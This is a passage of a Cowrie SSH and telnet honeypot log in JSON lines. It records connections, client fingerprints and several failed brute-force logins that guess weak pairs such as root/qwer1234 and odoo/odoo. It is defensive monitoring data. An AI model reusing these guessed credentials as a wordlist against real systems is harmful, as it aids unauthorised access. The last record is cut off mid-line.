{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:19.042606Z","src_ip":"163.7.9.84","session":"a9057ba3f513","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.46.75","src_port":33654,"dst_ip":"159.203.135.109","dst_port":22,"session":"521bc7c84b3b","protocol":"ssh","message":"New connection: 43.153.46.75:33654 (159.203.135.109:22) [session: 521bc7c84b3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:19.922150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:19.929628Z","src_ip":"43.153.46.75","session":"521bc7c84b3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:19.997963Z","src_ip":"43.153.46.75","session":"521bc7c84b3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bacula","message":"login attempt [root/bacula] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:20.078050Z","src_ip":"163.7.9.84","session":"a9057ba3f513","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cmb","message":"login attempt [root/cmb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:20.302608Z","src_ip":"43.153.46.75","session":"521bc7c84b3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00186276435852,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:20.503054Z","src_ip":"186.189.112.16","session":"6f9322008dc9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:21.332033Z","src_ip":"163.7.9.84","session":"a9057ba3f513","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:21.373267Z","src_ip":"43.153.46.75","session":"521bc7c84b3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.189.112.16","src_port":57897,"dst_ip":"10.17.0.5","dst_port":23,"session":"28f0e320a25f","protocol":"telnet","message":"New connection: 186.189.112.16:57897 (10.17.0.5:23) [session: 28f0e320a25f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:24.116259Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":57462,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a4b5f244abf","protocol":"ssh","message":"New connection: 43.163.119.215:57462 (10.17.0.5:22) [session: 9a4b5f244abf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:30.614129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:30.619428Z","src_ip":"43.163.119.215","session":"9a4b5f244abf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.83.196.237","src_port":55008,"dst_ip":"159.203.135.109","dst_port":22,"session":"3290ffc9f2cd","protocol":"ssh","message":"New connection: 154.83.196.237:55008 (159.203.135.109:22) [session: 3290ffc9f2cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:30.839673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:30.845759Z","src_ip":"154.83.196.237","session":"3290ffc9f2cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:30.869309Z","src_ip":"43.163.119.215","session":"9a4b5f244abf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:30.967622Z","src_ip":"154.83.196.237","session":"3290ffc9f2cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerqwer","message":"login attempt [root/qwerqwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:31.483770Z","src_ip":"154.83.196.237","session":"3290ffc9f2cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123456","message":"login attempt [root/Abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:31.607328Z","src_ip":"43.163.119.215","session":"9a4b5f244abf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:32.608371Z","src_ip":"154.83.196.237","session":"3290ffc9f2cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:32.855847Z","src_ip":"43.163.119.215","session":"9a4b5f244abf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":51522,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccd4705804cf","protocol":"ssh","message":"New connection: 43.163.119.215:51522 (10.17.0.5:22) [session: ccd4705804cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:34.381150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:34.384775Z","src_ip":"43.163.119.215","session":"ccd4705804cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:34.624486Z","src_ip":"43.163.119.215","session":"ccd4705804cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":51528,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a556afde317","protocol":"ssh","message":"New connection: 43.163.119.215:51528 (10.17.0.5:22) [session: 0a556afde317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:34.901115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:34.906353Z","src_ip":"43.163.119.215","session":"0a556afde317","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":54470,"dst_ip":"159.203.135.109","dst_port":22,"session":"22a6f6d1a84d","protocol":"ssh","message":"New connection: 103.75.199.4:54470 (159.203.135.109:22) [session: 22a6f6d1a84d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:35.134495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:35.139325Z","src_ip":"103.75.199.4","session":"22a6f6d1a84d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:35.189434Z","src_ip":"43.163.119.215","session":"0a556afde317","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:35.230751Z","src_ip":"103.75.199.4","session":"22a6f6d1a84d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd123","message":"login attempt [root/asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:35.404694Z","src_ip":"43.163.119.215","session":"ccd4705804cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo","message":"login attempt [odoo/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:35.504474Z","src_ip":"103.75.199.4","session":"22a6f6d1a84d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4","message":"login attempt [root/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:35.929867Z","src_ip":"43.163.119.215","session":"0a556afde317","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:36.597510Z","src_ip":"103.75.199.4","session":"22a6f6d1a84d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:36.644885Z","src_ip":"43.163.119.215","session":"ccd4705804cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:37.178062Z","src_ip":"43.163.119.215","session":"0a556afde317","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":52788,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4356d3607ae","protocol":"ssh","message":"New connection: 43.163.119.215:52788 (10.17.0.5:22) [session: a4356d3607ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:40.277613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:40.282130Z","src_ip":"43.163.119.215","session":"a4356d3607ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:40.528845Z","src_ip":"43.163.119.215","session":"a4356d3607ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer1234","message":"login attempt [root/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:41.269089Z","src_ip":"43.163.119.215","session":"a4356d3607ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:42.518512Z","src_ip":"43.163.119.215","session":"a4356d3607ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":52792,"dst_ip":"10.17.0.5","dst_port":22,"session":"c372f1648081","protocol":"ssh","message":"New connection: 43.163.119.215:52792 (10.17.0.5:22) [session: c372f1648081]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:54.864751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:54.869660Z","src_ip":"43.163.119.215","session":"c372f1648081","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rs